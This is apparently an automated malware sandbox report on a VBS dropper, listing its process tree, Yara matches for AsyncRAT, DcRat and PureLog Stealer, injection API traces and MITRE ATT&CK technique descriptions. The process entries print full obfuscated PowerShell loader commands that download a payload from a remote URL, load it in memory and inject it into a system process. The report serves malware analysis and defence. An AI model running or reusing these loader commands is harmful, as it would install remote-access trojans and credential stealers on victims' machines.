2024-10-02 03:23:14 UTC	1369	IN	Data Raw: 67 62 41 6b 47 41 74 42 41 5a 41 45 30 43 41 41 67 62 41 38 47 41 70 42 77 63 41 49 48 41 6c 42 67 56 50 41 41 41 6f 42 41 64 41 45 47 41 51 6c 41 41 41 45 47 41 79 42 51 5a 41 30 47 41 68 42 77 51 4e 41 41 41 30 42 51 61 41 49 47 41 79 41 77 4d 4c 41 41 41 6c 42 77 63 41 77 47 41 68 42 67 52 4c 41 41 41 30 42 51 61 41 49 47 41 30 41 67 4e 4c 41 41 41 6c 42 51 64 41 49 48 41 55 6c 41 41 41 41 79 41 41 41 41 64 41 59 47 41 76 42 77 63 41 38 47 41 79 42 77 59 41 6b 47 41 4e 4e 42 41 41 4d 46 41 50 56 41 41 41 49 48 41 6c 42 77 63 41 55 56 43 41 41 41 52 41 6b 45 41 58 42 41 53 4a 41 41 41 76 42 67 5a 41 34 47 41 4a 42 41 64 41 34 47 41 6c 42 51 61 41 77 47 41 44 56 42 41 41 51 45 41 4a 42 77 56 41 67 45 41 67 41 67 63 41 49 48 41 46 46 42 41 41 49 44 41 34 Data Ascii: gbAkGAtBAZAE0CAAgbA8GApBwcAIHAlBgVPAAAoBAdAEGAQlAAAEGAyBQZA0GAhBwQNAAA0BQaAIGAyAwMLAAAlBwcAwGAhBgRLAAA0BQaAIGA0AgNLAAAlBQdAIHAUlAAAAyAAAAdAYGAvBwcA8GAyBwYAkGANNBAAMFAPVAAAIHAlBwcAUVCAAARAkEAXBASJAAAvBgZA4GAJBAdA4GAlBQaAwGADVBAAQEAJBwVAgEAgAgcAIHAFFBAAIDA4

Target ID:	0
Start time:	23:23:05
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs"
Imagebase:	0x7ff628350000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:23:05
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:23:05
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:23:08
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1528856037.000001DFCD980000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.1489737253.000001DFB57B3000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1506314735.000001DFC57A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:23:13
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x9d0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2700013071.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2712121235.0000000005398000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2712121235.00000000052C0000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000005.00000002.2703147210.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00007FF8879737B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1553419954.00007FF887970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff887970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 56101d1bee6593b43126e127c5d813310b3b99ea396b6416542ef275276a1907
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 1401A77011CB0D4FD744EF0CE455AA6B3E0FB85360F10052DE58AC3691D636E882CB42

Non-executed Functions

Function 00007FF88797044D Relevance: 5.1, Strings: 4, Instructions: 84COMMON

Download Yara Rule

Strings

/}, xrefs: 00007FF887970469
8,}, xrefs: 00007FF8879704B1
(0}, xrefs: 00007FF8879704D1
p0}, xrefs: 00007FF887970491

Memory Dump Source

Source File: 00000002.00000002.1553419954.00007FF887970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff887970000_powershell.jbxd

Similarity

API ID:
String ID: (0}$8,}$p0}$/}
API String ID: 0-404723380
Opcode ID: 87caa165137c0d3151bee548c54b9244cf5f2ecd19e08d237ec6fd5dab35c334
Instruction ID: 459580bfa7c9596875b6c73744f643f68fc4651ad2d225238597022f274a46ca
Opcode Fuzzy Hash: 87caa165137c0d3151bee548c54b9244cf5f2ecd19e08d237ec6fd5dab35c334
Instruction Fuzzy Hash: C0319352C4E6C24FE7168A781C2E17D6E71BF136C0B5904FBC0998B1DBE80D9D26C352

Analysis Process: powershell.exePID: 6528, Parent PID: 1212COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF887A50056 Relevance: 6.9, Strings: 4, Instructions: 1901COMMON

Download Yara Rule

Strings

P*j, xrefs: 00007FF887A50D16
H, xrefs: 00007FF887A505AC
r6`, xrefs: 00007FF887A504CA
r6`, xrefs: 00007FF887A504A7

Memory Dump Source

Source File: 00000004.00000002.1533578477.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID: H$P*j$r6`$r6`
API String ID: 0-3526753565
Opcode ID: 2037d9724648bbb5513644dc7eb4136494950274be28012944474afb02829cf0
Instruction ID: 93e9cd2bb930a781750c332a033aca03293e65c323377f547ce89766afff2819
Opcode Fuzzy Hash: 2037d9724648bbb5513644dc7eb4136494950274be28012944474afb02829cf0
Instruction Fuzzy Hash: 37C22531A4DBC98FE7969A7858962BA7BF2FF56360B1801FBC05DC7193D918AC05C342

Function 00007FF88799268D Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 502
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF887992AE3

Strings

M K, xrefs: 00007FF887992BE2
M K, xrefs: 00007FF8879926EE

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID: M K$M K
API String ID: 963392458-1972991516
Opcode ID: 5f0ea2803612e52cc1bc57c76b393fe45789a8c066eb179ff8bd34ab08d4625e
Instruction ID: e3c3046e28c20e16f440631c38e9f4bfeb175f7f4539a0646e6530c6ec007df3
Opcode Fuzzy Hash: 5f0ea2803612e52cc1bc57c76b393fe45789a8c066eb179ff8bd34ab08d4625e
Instruction Fuzzy Hash: 27F14030918A8E8FEBB8DF18CC597E977E1FB59351F10412AD84DD7291DB78AA80CB41

Function 00007FF88799216D Relevance: 1.7, APIs: 1, Instructions: 207
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FF8879922E2

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c1940d41523ab19422bd8f2a4449d66673f95f37937ae509d6e421b7c4dec4c6
Instruction ID: 87961460293ba5f108885c4d9df43acd675d14136cba06b2f7d41c7686cc0309
Opcode Fuzzy Hash: c1940d41523ab19422bd8f2a4449d66673f95f37937ae509d6e421b7c4dec4c6
Instruction Fuzzy Hash: 43611830918A5D8FDB98DF58C884BE9BBF1FB69315F1082AAD44DE3251CB34A985CF40

Function 00007FF887991E15 Relevance: 1.7, APIs: 1, Instructions: 182
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FF887991F45

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1742037e8dc504c41b5b27af2cba297a7e1591ba48fd79fdb53995b4539ce14d
Instruction ID: 0a93a28fab88cd11aaba3a4da9d25c8166c59d18b41e1dfdf5ca4a8be950ae4c
Opcode Fuzzy Hash: 1742037e8dc504c41b5b27af2cba297a7e1591ba48fd79fdb53995b4539ce14d
Instruction Fuzzy Hash: F5514970D08A5D8FEB54DFA8C849BEDBBF1FB65311F10826AD049E7252DB74A885CB40

Function 00007FF887991CBD Relevance: 1.7, APIs: 1, Instructions: 153
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF887991DAF

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d8409ffc0090348be353d2a630cc7a46da516f0e6703982842efbc6487fd751d
Instruction ID: 25a47c93d7f33288f6ab17f3ce235c581cdfb32601c52873f176d389d5286e6e
Opcode Fuzzy Hash: d8409ffc0090348be353d2a630cc7a46da516f0e6703982842efbc6487fd751d
Instruction Fuzzy Hash: E2515C30D0868D8FDB55DFA8C885BEDBBB0FF56310F1441AAD449D7292DA74A845CB41

Function 00007FF887A555BE Relevance: .2, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1533578477.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc40990f2597659343f5f712b0b0a2e45906234bdb9e3c69260ad5ec3f7b993
Instruction ID: fef47f9b72a2fb667d816a58169e7a9234e51e36aa17ad7d6533300eb842e940
Opcode Fuzzy Hash: 9bc40990f2597659343f5f712b0b0a2e45906234bdb9e3c69260ad5ec3f7b993
Instruction Fuzzy Hash: 0F612522E4EEC74FF7A5D6A814162BD66E3FF556A0B5801BEC04EC75D2ED0EA804C742

Function 00007FF887A5560A Relevance: .1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.1533578477.00007FF887A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2463150b01335a229c83e4f66bd93d3f9aa06f24c68fb07aaf44acf7ddb9c42c
Instruction ID: c658f647a7e05fa07a060778d3df74c99fd33210d2b46e376131137e2ee0b937
Opcode Fuzzy Hash: 2463150b01335a229c83e4f66bd93d3f9aa06f24c68fb07aaf44acf7ddb9c42c
Instruction Fuzzy Hash: A841F522E8EEC74FF2A5D6A804572BD56E3FF956A0B5C01B9C44DC79D2DC0EA844C643

Non-executed Functions

Function 00007FF88798FF4D Relevance: 1.8, Strings: 1, Instructions: 512COMMON

Download Yara Rule

Strings

r6`, xrefs: 00007FF88798FFEE

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID:
String ID: r6`
API String ID: 0-2522635671
Opcode ID: b2372d183a59c62c3a60e4e6514a6571fd98c4c47bf30ca1803976a7eb82b836
Instruction ID: 5fa816119a2ba795bfe42759477fec9ca64eed4cf4d7980bfca61faaea210c90
Opcode Fuzzy Hash: b2372d183a59c62c3a60e4e6514a6571fd98c4c47bf30ca1803976a7eb82b836
Instruction Fuzzy Hash: C122FA70D0465E8FDB18DF98C895AEDBBB2FF88340F14866DD42AAB346CA346845CF54

Function 00007FF887980EF2 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

5O_^, xrefs: 00007FF887980F01

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID:
String ID: 5O_^
API String ID: 0-747053082
Opcode ID: 8cb62bb6aaa7c2321fe85c8a98861438a965ff7b44665a8e329c9c9f10c4d883
Instruction ID: d0fced81b33f2cce564ace41c47fe768193b6896961c0d7e792ddb48ae39d977
Opcode Fuzzy Hash: 8cb62bb6aaa7c2321fe85c8a98861438a965ff7b44665a8e329c9c9f10c4d883
Instruction Fuzzy Hash: 51A16067D9D6D39AF3339A2D5CAA0E83F70FF526A471940F7C4958E193ED2C280AC251

Function 00007FF887989009 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1533094360.00007FF887980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff887980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1df9df48a1ddd0339b55029168b2378d01b77afb57f32aebf90035ab71b177f7
Instruction ID: bba868cc470c7836d0cf2090fd610e735e3a692245513c92d7dd84014043364f
Opcode Fuzzy Hash: 1df9df48a1ddd0339b55029168b2378d01b77afb57f32aebf90035ab71b177f7
Instruction Fuzzy Hash: 5051236288E7C24FE7138B708C656947FB0AF17264B4E05EBC4D0CF0A3E65D5A5AC322

Analysis Process: AddInProcess32.exePID: 1760, Parent PID: 6528COMMON

Execution Graph

Execution Coverage:	16.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	1

Executed Functions

Function 01012074 Relevance: 1.6, APIs: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 01012111

Memory Dump Source

Source File: 00000005.00000002.2700903028.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1010000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c35b98993c2c1e09a957246933555b4adfb72c7915b14080aa6542c5e4010fd6
Instruction ID: ca5265bd709d1e5b741f11ce31d756d9f160208495bfded0b9652900cbe5a104
Opcode Fuzzy Hash: c35b98993c2c1e09a957246933555b4adfb72c7915b14080aa6542c5e4010fd6
Instruction Fuzzy Hash: ED31E0B4D01248DFDB14CFA9D584BDDBBF1AF48310F24806AE409AB368DBB96945CF90

Function 01012080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 01012111

Memory Dump Source

Source File: 00000005.00000002.2700903028.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1010000_AddInProcess32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 48b619373ef91f0990924d8c9b7d5ab1a53fb014ea3a76286a76628da2016432
Instruction ID: f832f1f9046efb75d90ef91a2825e9c572c7dcb088ecde5854ee2a2f9efa9f17
Opcode Fuzzy Hash: 48b619373ef91f0990924d8c9b7d5ab1a53fb014ea3a76286a76628da2016432
Instruction Fuzzy Hash: 2F31F1B4D01248EFDB14CFA9D584BCDBBF5AF48310F24806AE408BB358DBB96945CB90

Function 010122D4 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0101234C

Memory Dump Source

Source File: 00000005.00000002.2700903028.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1010000_AddInProcess32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 330707ad392f4b56395bddae884364a03bc080c75b23dadbfc7d9e86e4797610
Instruction ID: 28570f039686cadf6cfa631e28e61b78bc08d24bb33cbcbfee5d4ba4807f4291
Opcode Fuzzy Hash: 330707ad392f4b56395bddae884364a03bc080c75b23dadbfc7d9e86e4797610
Instruction Fuzzy Hash: D22124B1D003499FDB10DFAAC484BEEFBF4EF48220F14842AD859A7250C7799A40CFA1

Function 010122D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 0101234C

Memory Dump Source

Source File: 00000005.00000002.2700903028.0000000001010000.00000040.00000800.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1010000_AddInProcess32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1fa81e5c24849610c0d9b8ae7a89dc238a83417753ba2b772538122be9f9c1f8
Instruction ID: b8668710248f36c98eea68e89e9efc7c9a30d2405cf3c6255caef1f955b80138
Opcode Fuzzy Hash: 1fa81e5c24849610c0d9b8ae7a89dc238a83417753ba2b772538122be9f9c1f8
Instruction Fuzzy Hash: 7911F2B19003499FDB10DFAAC884BEEFBF4EF48220F14842AD559A7250C779A944CFA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
